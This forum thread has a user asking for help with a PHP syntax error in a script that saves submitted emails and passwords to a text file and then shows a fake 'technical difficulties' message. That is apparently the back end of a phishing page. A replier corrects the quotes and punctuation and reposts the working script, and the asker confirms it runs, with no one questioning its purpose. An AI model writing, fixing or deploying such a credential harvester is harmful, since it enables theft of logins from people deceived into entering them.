I am having difficulties with the following code:
<?php
$email = $_POST['email'];
$pass = $_POST['pass'];
$myFile = “info.txt”;
$fh = fopen($myFile, ‘a’) or die(“can’t open file”);
$stringData = “username: “.$email.” Password: “.$pass.”\n”;
fwrite($fh, $stringData);
fclose($fh);
echo “Sorry we are having technical dififcultys at the moment please try again later
?>
I am receiving a Syntax error on like 5, and i have no clue what to do I have tried looking for other posts but as I am not that good with PHP it is no help. Can someone please help me what the problem is. thank you
Parse error: syntax error, unexpected T_STRING in /var/www/p
Moderator: General Moderators
-
kishanodedra
- Forum Newbie
- Posts: 2
- Joined: Sun Nov 21, 2010 4:24 pm
Re: Parse error: syntax error, unexpected T_STRING in /var/w
First I broke the code up so line 5 was spread across many lines and found that the error was in the;
Then I noticed that when I copied your code you had some funny double quotation marks ("). Changing these made a difference. Notice my coppied code and compare it to that above;
Also the last echo statement is missing "; at the end
I then get the error;
Which I assume is because I don't have that file to access it. If you do then I guess it should work.
Try this and let me know what you get.
Code: Select all
die(“can’t open file”);Code: Select all
die("can’t open file");I then get the error;
Code: Select all
Warning: fopen(info.txt) [function.fopen]: failed to open stream: Inappropriate ioctl for device in /blah/test.php on line 8
can’t open fileTry this and let me know what you get.
Code: Select all
<?php
$email = $_POST['email'];
$pass = $_POST['pass'];
$myFile = "info.txt";
$fh = fopen($myFile, ‘a’) or die("can’t open file");
$stringData = "username: " . $email . " Password: " . $pass . "\n";
fwrite($fh, $stringData);
fclose($fh);
echo "Sorry we are having technical difficulties at the moment, please try again later.";
?>-
kishanodedra
- Forum Newbie
- Posts: 2
- Joined: Sun Nov 21, 2010 4:24 pm
Re: Parse error: syntax error, unexpected T_STRING in /var/w
Hi,
Thanks for your help, I think i need more knowledge of PHP, but ye you was correct the " for some reason was of a different format, and I was missing a few other aspects, But finally I have it working, thanks much appreciated.
Thanks for your help, I think i need more knowledge of PHP, but ye you was correct the " for some reason was of a different format, and I was missing a few other aspects, But finally I have it working, thanks much appreciated.